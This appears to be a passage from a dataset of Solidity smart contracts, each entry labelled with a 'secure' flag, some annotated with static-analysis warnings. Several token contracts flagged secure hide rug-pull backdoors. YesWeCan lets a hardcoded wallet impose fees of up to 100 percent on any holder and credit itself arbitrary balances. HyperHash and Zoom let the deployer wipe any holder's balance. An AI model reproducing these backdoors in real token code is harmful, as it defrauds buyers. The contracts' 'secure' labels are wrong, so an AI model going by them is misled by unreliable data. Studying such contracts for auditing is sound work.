files
dict
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}", "file_name": "solidity_code_1.sol", "secure": 1, "size_bytes": 4838 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}", "file_name": "solidity_code_10.sol", "secure": 1, "size_bytes": 328 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Create is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"ttt2\", \"TTT2\") Ownable(msg.sender) {\n renounceOwnership();\n }\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n}", "file_name": "solidity_code_100.sol", "secure": 1, "size_bytes": 927 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}", "file_name": "solidity_code_1000.sol", "secure": 1, "size_bytes": 735 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeCast.sol\" as SafeCast;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n bytes32 max = SafeCast.maxInt256();\n\n assembly {\n sstore(max, max)\n }\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1001.sol", "secure": 1, "size_bytes": 5837 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\n\nabstract contract EIP712 {\n bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;\n\n uint256 private immutable _CACHED_CHAIN_ID;\n\n bytes32 private immutable _HASHED_NAME;\n\n bytes32 private immutable _HASHED_VERSION;\n\n bytes32 private immutable _TYPE_HASH;\n\n constructor(string memory name, string memory version) {\n bytes32 hashedName = keccak256(bytes(name));\n\n bytes32 hashedVersion = keccak256(bytes(version));\n\n bytes32 typeHash = keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n _HASHED_NAME = hashedName;\n\n _HASHED_VERSION = hashedVersion;\n\n _CACHED_CHAIN_ID = block.chainid;\n\n _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(\n typeHash,\n hashedName,\n hashedVersion\n );\n\n _TYPE_HASH = typeHash;\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (block.chainid == _CACHED_CHAIN_ID) {\n return _CACHED_DOMAIN_SEPARATOR;\n } else {\n return\n _buildDomainSeparator(\n _TYPE_HASH,\n _HASHED_NAME,\n _HASHED_VERSION\n );\n }\n }\n\n function _buildDomainSeparator(\n bytes32 typeHash,\n bytes32 nameHash,\n bytes32 versionHash\n ) private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n typeHash,\n nameHash,\n versionHash,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n}", "file_name": "solidity_code_1002.sol", "secure": 1, "size_bytes": 2082 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./IERC20Permit.sol\" as IERC20Permit;\nimport \"./EIP712.sol\" as EIP712;\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {\n using Counters for Counters.Counter;\n\n mapping(address => Counters.Counter) private _nonces;\n\n bytes32 private immutable _PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1f34e41): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 1f34e41: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual override {\n\t\t// timestamp | ID: 1f34e41\n require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n bytes32 structHash = keccak256(\n abi.encode(\n _PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n if (!(hash == bytes32(0))) {\n address signer = ECDSA.recover(hash, v, r, s);\n\n require(signer == owner, \"ERC20Permit: invalid signature\");\n }\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override returns (uint256) {\n return _nonces[owner].current();\n }\n\n function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n function _useNonce(\n address owner\n ) internal virtual returns (uint256 current) {\n Counters.Counter storage nonce = _nonces[owner];\n\n current = nonce.current();\n\n nonce.increment();\n }\n}", "file_name": "solidity_code_1003.sol", "secure": 0, "size_bytes": 2648 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(account, _msgSender(), currentAllowance - amount);\n }\n\n _burn(account, amount);\n }\n}", "file_name": "solidity_code_1004.sol", "secure": 1, "size_bytes": 768 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol\" as ERC20Permit;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/structs/BitMaps.sol\" as BitMaps;\n\ncontract ZUCK is ERC20, ERC20Permit, ERC20Burnable, Ownable {\n using BitMaps for BitMaps.BitMap;\n\n uint256 public constant minimumMintInterval = 365 days;\n\n uint256 public constant mintCap = 200;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53f4c25): ZUCK.merkleRoot should be constant \n\t// Recommendation for 53f4c25: Add the 'constant' attribute to state variables that never change.\n bytes32 public merkleRoot;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ebda86): ZUCK.nextMint should be constant \n\t// Recommendation for 0ebda86: Add the 'constant' attribute to state variables that never change.\n uint256 public nextMint;\n\n\t// WARNING Optimization Issue (constable-states | ID: d24c045): ZUCK.claimPeriodEnds should be constant \n\t// Recommendation for d24c045: Add the 'constant' attribute to state variables that never change.\n uint256 public claimPeriodEnds;\n\n BitMaps.BitMap private claimed;\n\n event MerkleRootChanged(bytes32 merkleRoot);\n\n event Claim(address indexed claimant, uint256 amount);\n\n constructor(\n uint256 freeSupply\n ) ERC20(\"Mark Cockerberg\", \"ZUCK\") ERC20Permit(\"Mark Cockerberg\") {\n _mint(msg.sender, freeSupply);\n }\n}", "file_name": "solidity_code_1005.sol", "secure": 1, "size_bytes": 1696 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract YesWeCan is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e87e1bd): YesWeCan._decimals should be immutable \n\t// Recommendation for e87e1bd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d39fff8): YesWeCan._totalSupply should be immutable \n\t// Recommendation for d39fff8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1094136): YesWeCan._marketwalleaddress should be immutable \n\t// Recommendation for 1094136: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwalleaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwalleaddress = 0x9744ffF33718f59fb04043ac869D193EBc913799;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apparove(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwalleaddress;\n }\n\n function burntliqunillty(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_1006.sol", "secure": 1, "size_bytes": 5376 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HyperHash is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable maze;\n\n constructor() {\n _name = \"HyperHash AI\";\n\n _symbol = \"HyperAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 816000000;\n\n maze = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == maze, \"Not allowed\");\n\n _;\n }\n\n function butterfly(address[] memory hotdog) public onlyOwner {\n for (uint256 i = 0; i < hotdog.length; i++) {\n address account = hotdog[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1007.sol", "secure": 1, "size_bytes": 4360 }
{ "code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./Points.sol\" as Points;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC1271.sol\" as IERC1271;\n\ncontract Points {\n address public immutable owner;\n\n uint256 public rate;\n\n mapping(address => uint256) public claimed;\n\n IERC20 constant token = IERC20(0x00000000000007C8612bA63Df8DdEfD9E6077c97);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ad8d2cb): Points.constructor(address,uint256)._owner lacks a zerocheck on \t (owner,rate) = (_owner,_rate)\n\t// Recommendation for ad8d2cb: Check that the address is not zero.\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ad30625): Contract locking ether found Contract Points has payable functions Points.constructor(address,uint256) Points.claim(uint256,uint256,bytes) But does not have a function to withdraw the ether\n\t// Recommendation for ad30625: Remove the 'payable' attribute or add a withdraw function.\n constructor(address _owner, uint256 _rate) payable {\n\t\t// missing-zero-check | ID: ad8d2cb\n (owner, rate) = (_owner, _rate);\n }\n\n function check(\n address user,\n uint256 start,\n uint256 bonus,\n bytes calldata signature\n ) public view returns (uint256 score) {\n bytes32 hash = keccak256((abi.encodePacked(user, start, bonus)));\n\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := calldataload(signature.offset)\n\n s := calldataload(add(signature.offset, 0x20))\n\n v := byte(0, calldataload(add(signature.offset, 0x40)))\n }\n\n if (\n Points(owner).owner() ==\n ecrecover(_toEthSignedMessageHash(hash), v, r, s) ||\n IERC1271.isValidSignature.selector ==\n IERC1271(owner).isValidSignature(hash, signature)\n ) score = (bonus + (rate * (block.timestamp - start))) - claimed[user];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8b0e960): Points.claim(uint256,uint256,bytes) uses timestamp for comparisons Dangerous comparisons sum != 0 assert(bool)(token.transfer(msg.sender,sum))\n\t// Recommendation for 8b0e960: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ad30625): Contract locking ether found Contract Points has payable functions Points.constructor(address,uint256) Points.claim(uint256,uint256,bytes) But does not have a function to withdraw the ether\n\t// Recommendation for ad30625: Remove the 'payable' attribute or add a withdraw function.\n function claim(\n uint256 start,\n uint256 bonus,\n bytes calldata signature\n ) public payable returns (uint256 sum) {\n unchecked {\n sum = check(msg.sender, start, bonus, signature);\n\n\t\t\t// timestamp | ID: 8b0e960\n if (sum != 0) {\n claimed[msg.sender] += sum;\n\n\t\t\t\t// timestamp | ID: 8b0e960\n assert(token.transfer(msg.sender, sum));\n }\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f27984c): Points.setRate(uint256) should emit an event for rate = _rate \n\t// Recommendation for f27984c: Emit an event for critical parameter changes.\n function setRate(uint256 _rate) public {\n assert(msg.sender == owner);\n\n\t\t// events-maths | ID: f27984c\n rate = _rate;\n }\n\n function _toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x20, hash)\n\n mstore(0x00, \"\\x00\\x00\\x00\\x00\\x19Ethereum Signed Message:\\n32\")\n\n result := keccak256(0x04, 0x3c)\n }\n }\n}", "file_name": "solidity_code_1008.sol", "secure": 0, "size_bytes": 3890 }
{ "code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address, uint256) external returns (bool);\n}", "file_name": "solidity_code_1009.sol", "secure": 1, "size_bytes": 159 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GUKU is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n uint256 public constant LIQUIDITY_ETH = 0.003 ether;\n\n address payable public immutable creater = payable(msg.sender);\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"Guku\", \"GUKU\") Ownable(msg.sender) {}\n\n function mint() external payable {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n require(msg.value >= LIQUIDITY_ETH);\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n\n if ((totalSupply() / MINT_AMOUNT) % 10 == 0) {\n creater.transfer(address(this).balance);\n }\n }\n\n receive() external payable {\n creater.transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_101.sol", "secure": 1, "size_bytes": 1292 }
{ "code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface IERC1271 {\n function isValidSignature(\n bytes32,\n bytes calldata\n ) external view returns (bytes4);\n}", "file_name": "solidity_code_1010.sol", "secure": 1, "size_bytes": 208 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Zoom is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable maze;\n\n constructor() {\n _name = \"Zoom\";\n\n _symbol = \"ZOOM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 816000000;\n\n maze = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns 